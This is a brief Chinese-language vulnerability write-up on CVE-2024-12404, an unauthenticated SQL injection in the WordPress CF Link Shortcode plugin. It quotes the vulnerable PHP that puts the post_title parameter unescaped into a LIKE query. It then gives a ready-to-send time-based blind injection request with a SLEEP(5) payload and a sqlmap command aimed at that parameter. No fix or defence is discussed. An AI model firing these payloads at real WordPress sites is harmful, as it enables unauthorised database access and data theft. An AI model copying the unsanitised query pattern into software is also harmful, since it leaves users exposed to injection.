WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)

function cfplsc_id_lookup()
{
global $wpdb;
 $title = stripslashes($_GET['post_title']);
 $wild = '%' . $title . '%';
 $posts = $wpdb->get_results("
  SELECT *
  FROM $wpdb->posts
  WHERE (
   post_title LIKE '$wild'
   OR post_name LIKE '$wild'
  )
  AND post_status = 'publish'
  ORDER BY post_title
  LIMIT 25
 ");
if (count($posts)) {
  $output = '<ul>';
foreach ($posts as $post) {
   $output .= '<li class="' . $post->ID . '" title="[' . CFPLSC_SHORTCODE . ' id='' . $post->ID . '']">' . esc_html($post->post_title) . '</li>';
  }
  $output .= '</ul>';
 } else {
  $output = '<ul><li>' . __('Sorry, no matches.', 'cf-internal-link-shortcode') . '</li></ul>';
 }
echo $output;
die();
}

function cfplsc_request_handler()
{
if (!empty($_GET['cf_action'])) {
switch ($_GET['cf_action']) {
case 'cfplsc_id_lookup':
    cfplsc_id_lookup();
break;
case 'cfplsc_admin_js':
    cfplsc_admin_js();
break;
case 'cfplsc_admin_css':
    cfplsc_admin_css();
die();
break;
  }
 }
}
add_action('init', 'cfplsc_request_handler');

GET /?cf_action=cfplsc_id_lookup&post_title='+AND+(SELECT+5405+FROM+(SELECT(SLEEP(5)))clin)--+jFKc HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1734956910
Connection: close

python sqlmap.py -u "http://127.0.0.1/?cf_action=cfplsc_id_lookup&post_title=*" --level=3 --dbms=mysql